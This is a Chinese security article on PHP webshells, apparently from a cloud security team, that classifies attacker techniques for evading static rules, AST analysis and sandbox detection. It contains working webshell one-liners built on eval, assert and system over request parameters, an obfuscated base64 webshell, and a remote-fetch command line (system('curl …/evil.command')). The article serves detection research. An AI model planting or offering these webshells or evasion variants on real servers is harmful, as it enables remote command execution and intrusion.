> For the complete documentation index, see [llms.txt](https://xu-an.gitbook.io/sec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xu-an.gitbook.io/sec/lan/php/wbsl/wbsel.md).

# Webshell那些事-攻击篇

## 前言

Webshell是网站入侵的常用后门，利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、勒索核心数据、SE0挂马等恶意操作，危害极大。

所谓Webshell，主要指可以被例如apache、tomcat、nginx在内的webserver即时解释执行的脚本语言编写而成的文本文件，其本质是一种text文本文件。因其隐秘性、基于脚本、灵活便捷、功能强大等特点，广受黑客们的喜爱，因此Webshell的检测也成为云安全防御的重点，甚至成为网站安全防御的一个标配。

在阿里云云安全中心，Webshell检测已是主机安全系统的标配功能。安骑士是阿里云安全自研的主机安全系统，Webshell检测是其基础功能之一，安骑士会实时监控Webshell文件的植入，经过后台的检测引擎分析后，实时向客户推送入侵告警信息。

近几年攻防对抗不断升级，防御的挑战越来越大，攻防的战场已经不再是谁见的样本多，而越来越转向方法论层面的对抗，攻击者往往会倾向于找到某种方法论体系，通过体系层面，来对防守方发起挑战。安骑士Webshell检测系统在对抗的过程中，逐步发展出了静态规则+动态规则+词法ast解析+动态模拟执行+机器学习等多种综合手段，目的也是为了尽量提高攻击绕过的门槛和成本，缓解Webshell攻击问题。

![](http://p4.itc.cn/q_70/images03/20200731/18554aa248e6489d876f401ee301ecd0.png)

本文作为这个系列文章的开篇，会着重从攻击者视角，用体系化的方式介绍当前业内Webshell攻击的主要方法论以及具体技术细节。目的是希望能给业内同行带来一些启发，共同进步，提升检测防御能力。

在后续的文章后，我们还会陆续推出各种恶意代码语言的攻击方式方法论分析，以及安骑士在检测方面的技术积累，希望能和同行有更多交流机会。

## Webshell攻击的体系化认知

俗话说，“工欲善其事必先利其器”，作为工程师，体系化认知就是我们最好的“利器”，初期点状的知识积累固然没有太大问题，但是越往后深入，对体系化认知的需求就会越强，它能让你把笔记本读薄。

也许在读这篇文章之前，读者朋友已经了解过非常多的PHP Webshell攻击技巧、名词，例如

* 字符串拼接
* 隐式数据类型转换
* preg\_replace
* 各种callback
* 等等...

但是这篇文章，我们尝试对各种方式进行“格物”，建立一个概念框架，因为一旦概念框架建立后，我们就可以在概念框架内进行自由地发散思考，同时又不至于陷入局部的最优中，而忽略了全盘上的星星点点。

![](http://p9.itc.cn/q_70/images03/20200731/70a3b1e686834b0f8eac66925f89bed3.png)

### 1、利用PHP语言特性

PHP是一种动态弱类型语言，参数传递、类型转换、函数调用方式都非常灵活，这给开发者带来开发便利的同时，也给攻击者编写各种畸形恶意代码带来了很多便利，通过翻阅PHP手册，我们可以查到很多奇技淫巧，例如：

![](http://p2.itc.cn/q_70/images03/20200731/12cc91fa331544d6813571138bfe0ec5.png)

![](http://p8.itc.cn/q_70/images03/20200731/155e6e66b9c14b6196352b88801fdab1.png)

![](http://p2.itc.cn/q_70/images03/20200731/a26820f2df234c39b5461e43fee840aa.png)

![](http://p1.itc.cn/q_70/images03/20200731/bf1380b55da14f9591f3f7221919f225.png)

![](http://p5.itc.cn/q_70/images03/20200731/a30c02eecbf941edb92cbfcf585c137b.png)

![](http://p0.itc.cn/q_70/images03/20200731/1901272073d2461d89259e4ad0da986b.png)

![](http://p0.itc.cn/q_70/images03/20200731/83b637dcc396449da9f5c946143f48d5.png)

但是这里，笔者整理了一个思考框架，我们可以基于这个思考框架，有效地进行各种变形手段的组合。

我们将构成每个webshell的基本概念组件进行打散，抽象出若干原子逻辑概念组件，我们称之为 **【一级概念组件】**，在每个一级概念组件下都有多个 **【二级实例组件】**。每个二级实例组件都是在对应一级概念下的一个具体实现。

1. 攻击者传入外部指令参数的方式
2. 1. 从内置全局数组中获取外部参数
   2. 1. $\_GET\["op"]
      2. $GLOBALS\['\_POST']\['op']
   3. 利用环境变量相关函数获取外部参数
   4. 1. getenv('HTTP\_CONNECTION')
   5. 将外部参数作为文件/目录信息写入磁盘
   6. 将外部参数存入 output buffering缓存中
   7. 利用PHP原生函数 获取外部参数
   8. 1. get\_defined\_vars
      2. getallheaders
      3. phpinfo
   9. 利用输入/输出流获取外部参数
   10. 利用网络请求从远程IP获取外部参数
   11. 1. file\_get\_contents
       2. get\_meta\_tags
   12. 利用xml处理函数获取外部参数
   13. 1. simplexml\_load\_string
   14. 利用数据库相关扩展获取外部参数
   15. 1. mysql
       2. memcache
       3. redis
   16. 利用本地变量注册获取外部参数
   17. 1. parse\_url
       2. extract
3. 动态生成数值和字符串的方式
4. 1. 动态生成数组键值
   2. 1. 利用try-catch存储和生成当前数组key
      2. 利用另一个数组变量存储当前数组key
      3. 利用time延时逻辑生成当前数组key
      4. 利用random逻辑生成当前数组key
   3. 动态生成参数名称
   4. 1. 利用运算符技术
      2. 1. 自增
         2. 异或
         3. 取非
         4. 取反
   5. 动态生成函数名称
   6. 1. 利用字符串拼接技术
      2. 利用explode字符串分组技术
5. 对字符串内容进行编码/解码的方式
6. 1. 利用BASE64编码/解码上技术
   2. 利用字符串顺序逆转相关技术
   3. 利用文本替换相关技术
   4. 利用0x16进制编码字符串
7. 向函数传入实参/变量的方式
8. 1. 利用array callback相关函数实现参数传递
   2. 利用define宏定义方式实现参数传递
   3. 利用自定义加/解密函数进行处理后再进行参数传递
   4. 利用类方法重载的方式实现隐式参数传递
   5. 1. \_\_toString方法重载
   6. 利用try-catch方式传递函数名
   7. 1. try { throw new Exception("system"); }
9. 执行指令的方式
10. 1. 利用PHP原生函数执行指令
    2. 1. eval
       2. assert
       3. system
    3. 通过include方式执行指令
    4. 1. include ROOT\_PATH . $\_REQUEST\['target'];
    5. 通过array callback execute方式实现代码执行
    6. 1. ($a = 'assert')&&($b = $\_POST\['a'])&\&call\_user\_func\_array($a, array($b));
       2. array\_udiff\_assoc(array($\_REQUEST\[$password]), array(1), "assert");
    7. 利用动态字符串函数调用特性（PHP中字符串可以直接作为函数名称被调用）
    8. 1. $dyn\_func = $\_GET\['dyn\_func']; $argument = $\_GET\['argument']; $dyn\_func($argument);
    9. 利用序列化/反序列化特性执行指令
    10. 利用类构造/析构特性执行指令
    11. 利用anonymous (lambda-style) function（匿名函数）执行指令
    12. 1. create\_function
        2. eval("function lambda\_n { eval($\_GET\[1]); }"); lambda\_n;
        3. $a = function($b) { system($b); }; $a($\_GET\['c']);
    13. 通过注册系统回调执行指令
    14. 1. register\_shutdown\_function
        2. register\_tick\_function
        3. set\_error\_handler
    15. 利用反射技术执行指令
    16. 利用PHP ${}特性执行指令
    17. 利用系统输出缓存技术执行指令
    18. 利用\`\`特性执行系统指令
    19. 利用字符串处理回调（string process callback）技术执行指令
    20. 1. mbereg\_replace
    21. 利用静态类方法执行指令
    22. 1. class foo { static function a(callable $b) { $b($\_GET\['c']); } } foo::a('system');
11. 动态改变程序执行流支 的技术
12. 1. 利用三元运算符
    2. 根据某外部传入参数，决定某IF条件的判断结果
    3. 利用header实现二次跳转
    4. 通过将外部指令写入系统持久化存储后再通过include执行
    5. 1. 磁盘文件
       2. 临时文件
       3. 内存文件
13. 攻击沙箱/词法引擎的相关特殊技术
14. 1. 代码间插入注释

举一个具体的例子：

![](http://p5.itc.cn/q_70/images03/20200731/0c99e484b8c24a078a1057c64c1119c7.png)

上面这个样本有以下几个绕过点：

1. 利用try-catch方式传递函数名
2. 从内置全局数组中获取外部参数
3. 利用动态字符串函数调用特性（PHP中字符串可以直接作为函数名称被调用）

建立这种思考框架有几个好处：

* php语言特性本身是存在不同的维度的，在每个维度内通过翻阅内核源代码，可以进行充分的穷举
* php的不同trick之间近似于彼此正交的维度，通过对不同维度进行交叉组合，可以高效地写出大量的绕过样本
* 有利于攻击者实现对防御者的单点突破，只要找到某个具体的绕过点，围绕这个绕过点，在其他维度上进行衍生，往往可以在短时间内创造出大量的绕过，方便在实战中迅速突破

### 2、模拟执行覆盖度攻击

业内目前针对PHP Webshell，主流的做法是采用【静态/动态AST词法分析】或者【动态沙箱检测】技术，对这类防御手段来说，攻防博弈的战场在于【模拟引擎的完成度】，具体来说例如：

* php各类版本、生僻语法的支持度
* 打断污点追踪
* 父子类数据共享
* 引用传递
* 未定义函数调用
* 利用报错/容错机制
* 控制流依赖逃逸
* 宏定义传递
* 等等....

我们选取几类重点讲解

2.1、控制流依赖逃逸

以下面这段代码为例：

![](http://p3.itc.cn/q_70/images03/20200731/3509fdc4a9f84c32830056ec3e36962d.png)

可以看到，信息（外部参数）的传递并不是直接通过赋值/函数调用来传递的，而是通过控制流来隐式传递的，如果AST引擎或者沙箱不能正确地处理这种语法，则污点信息在传递过程中就会被丢失，导致最后在sink点无法有效检测。

2.2、利用报错/容错机制

![](http://p4.itc.cn/q_70/images03/20200731/1e2efa5ea0464408b0654eafa0dd55c3.png)

2.3、引用传递

![](http://p2.itc.cn/q_70/images03/20200731/3c002b5704ca42d69705e39320331f11.png)

这个攻击方式是利用ReflectionFunction映射类配合引用参数修改$args的值，如果引擎没有很好地处理引用，则污点传递会被打断。

2.4、宏定义传递

![](http://p6.itc.cn/q_70/images03/20200731/6375b1da5a1846daab81fba4b2817594.png)

利用宏变量，实现了外部参数的传递。

### 3、上下文环境依赖差分攻击

所谓上下文环境依赖差分攻击，是指攻击样本的运行需要依赖特定的上下文环境，从信息论角度来说，这可以理解为一种额外信息，攻防博弈的战场在于信息的获取。安全里面有一个俗话叫“要尽量在攻击发生的现场进行日志捕获、检测、以及防御”，很多离线检测方案，就是因为离第一攻击现场太远了，导致上下文环境信息丢失严重，造成了很多检测和防御上的困难。

3.1、 **多次运行后才会暴露出真实攻击意图**

![](http://p8.itc.cn/q_70/images03/20200731/513868d051d248a4bcb1ccd5e95fb75e.png)

实际黑客利用时，需要运行多次样本才能触发真正攻击，而沙箱或者AST引擎往往只能运行有限次。即所谓的“黑客知道要怎么运行、用户也知道，就是防御方不知道”，这在实战中也是一个常用的绕过手段。

3.2、借助环境变量等第三方存储暂存外部参数

![](http://p7.itc.cn/q_70/images03/20200731/94b8a3ca29c4442caa3f0e4150aacbbe.png)

首先通过putenv传递变量，之后获取变量中的path内容，那么只需要传入c=path=phpinfo;即可完成利用。

这种样本在实际攻击中是容易成功的，因为只要是Linux操作系统，webserver进程一般都会有权限进行环境变量的操作。但是对于检测引擎来说，如果没有正确处理环境变量的存储和获取相关操作，污点参数就是传递失败。

### 4、攻击流量差分攻击

所谓的攻击流量差分攻击，是一种最常见的攻击绕过过段，其实也是一种思考问题的方式，突破防御，绕过的本质就是要寻找防御系统的差分点，对于PHP Webshell来说，外部传参流量就是一个很关键的差分点。

为了更好地说明这个沙箱，笔者这里引入两个概念，【静态可重入样本】以及【动态不可重复多模态样本】。

所谓【静态可重入样本】就是指大部分的传统的PHP Webshell样本，我们称之为“ **可重入单模态样本**”，这类样本尽管可以利用php的大量tricky特性、使用各种编码、加密手段，代码形式可以极尽复杂，例如

![](http://p4.itc.cn/q_70/images03/20200731/96429b85429b450c96796cff166afc18.png)

![](http://p1.itc.cn/q_70/images03/20200731/e03ec2f8ef224495b8c3129ef59bfef8.png)

但是，这种样本，究其根本，其本质都是“ **可重入的、单模态的**”，就是说 **不管运行多少次，谁来运行（受害者 or 旁路离线引擎），其运行结果都是一样的**。

从污点追踪理论的角度来说，这一阶段的沙箱，解决的是【 **显式污点传递问题**】，即污点信息流的传递在样本代码中是显式的，只要模拟执行一遍即可100%模拟。

另一方面，对于【动态不可重复多模态样本】来说，这样样本的重点不在于利用了php的哪些tricky语法特性，而在于它的“ **不可重入性、多模态性**”，我们下面用具体例子来解释。

4.1、 **动态依赖的分支跳转问题（根据输入的参数动态决定执行流和执行动作）**

![](http://p9.itc.cn/q_70/images03/20200731/7e3d4bc8318e41a383b16a4e403b6a7a.png)

对这个样本来说，外部参数就像一个之路的地图，标识了一个“road chain”，只有严格遵守这个“road chain”运行到最后，才可以看到样本的真实攻击意图。而这对业内很多旁路检测引擎来说，都是一个很大的挑战，在指数级的分支中，一旦走错了一个分支，就会被攻击者实现绕过。

4.2、基于外部参数动态生成函数名

![](http://p4.itc.cn/q_70/images03/20200731/5a7734d730544d69b6685d36decabd8f.png)

主要攻击以沙箱和动态AST引擎为代表的旁路离线检测技术，离线检测因为丢失了攻击现场的上下文信息，因此较难模拟实际的攻击行为。

4.3、 **不常见的外部参数传递方式**

对于业内常用的【污点追踪检测技术】，各家厂商基本都知道要把PHP常见的HTTP超参数标记为污点，例如GET/POST/COOKIE等。

但实际上，外部参数是一个泛概念，理论上来说，“ **一切外部可控的输入都是有害的，都需要被跟踪**”。外部可控的输入源是一个信道的概念，原则上，只要是符合“ **外部可控、内容可控**”这两个特点的方式，都属于 **外部可控输入**。它们包括但不限于：

* HTTP输入（GET/POST）参数
* * $GLOBALS\[‘\_GET’]
  * $GLOBALS\[‘\_POST’]
  * $GLOBALS\[‘\_COOKIE’]
  * $GLOBALS\[‘\_FILES’]
  * $GLOBALS\['GLOBALS']\['\_GET']
  * $GLOBALS\['GLOBALS']\['\_POST']
  * $GLOBALS\['GLOBALS']\['\_COOKIE']
  * $GLOBALS\['GLOBALS']\['\_FILES']
  * $\_GET
  * $\_POST
  * $\_COOKIE
  * $\_FILES
  * $\_REQUEST
* HTTP Header信息输入
* * getallheaders
* 网络信道输入：只要对源头api的return zval进行污点标记，随后污点标记会随着api sequence被传递
* * file\_get\_contents
  * socket\_create\_listen
  * socket\_listen
  * curl\_init
* 通过系统指令包装器执行网络相关指令，从外部网络获取指令信息
* * system：system("curl xxxxx/evil.command")
  * popen
  * exec
  * passthru
  * shell\_exec
  * \`\`
* 通过数据库相关操作获取外部可控参数

举一个具体的例子来说：

![](http://p8.itc.cn/q_70/images03/20200731/251fb2e22c994107bfba9fe21248f805.png)

4.4、 **外部参数依赖下的条件跳转**

![](http://p0.itc.cn/q_70/images03/20200731/ab17eae07cd8468fbc0a071fd9977455.png)

条件表达式依赖实际的攻击者传入，对于旁路离线检测，最大的挑战在于，因为缺少对应的参数，会陷入所谓的【分支覆盖问题】。

### 5、攻击静态检测规则

攻击静态检测规则就是我们常说的，绕过某某厂商的正则检测黑规则。这类攻击方式业内讨论的文章已经非常多了，笔者在这里不再赘述。

笔者希望在这里阐述一个攻击静态检测规则的方法论，即【 **利用冗余可约分性进行样本变形**】。

观察如下3个表达式，将其视作webshell样本的一个逻辑抽象版本：

```php
((X+6)+Y)+X + (if( (X*Y)>0 ){X}else{X} + X*X) + (X + (Y - (X + if(6>0){1}else{0})) )
```

\# X\*Y恒大于0，故可约简为：

```php
2*X + Y + 6 + X + X**2 + (X + (Y - (X + if(6>0){1}else{0})) )
```

\# 6恒大于0，故可约简为：

```php
2*X + Y + 6 + X + X**2 + X + Y - X + 1
```

最后约简得到：

```php
X**2 + 3*X + 2*Y + 5
```

从最终结果，也就是功能上，上面3个表达式是相等的。

如果将最后一个表达式视为一个最精简版的webshell，例如：

```php
<?php eval($_POST[1]);?>
```

根据冗余可约简规律，实现同样功能的这个代码，可以有无限多种扩展，这是不可枚举的。

例如：

```php
<?php
link(__FILE__, 'ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
link(__FILE__, 'YXNzZXJ0Cg==');
$d = substr(readlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK'), -32);
$e = substr(readlink('YXNzZXJ0Cg=='), -12);
$e = base64_decode($e);
$b = $e[0].'ssert';
$b(base64_decode($d));
unlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
unlink('YXNzZXJ0Cg==');
```

这2个文件在代码架构上，存在非常大的区别。

这种冗余可约简性，直接导致了样本的反汇编结果、apicall序列结果差别非常大。

综上，对于【 **php一句话webshell**】这个概念来说，其包含的集合是一个无限集合，这个问题可能不是一个数据问题（data problem），而是一个机制问题（mechanism problem）。

对于攻击者来说，充分利用这个机制，只要找到了一个绕过样本，就可以进行大量的局部和全局衍生，创造出很多新的绕过样本。
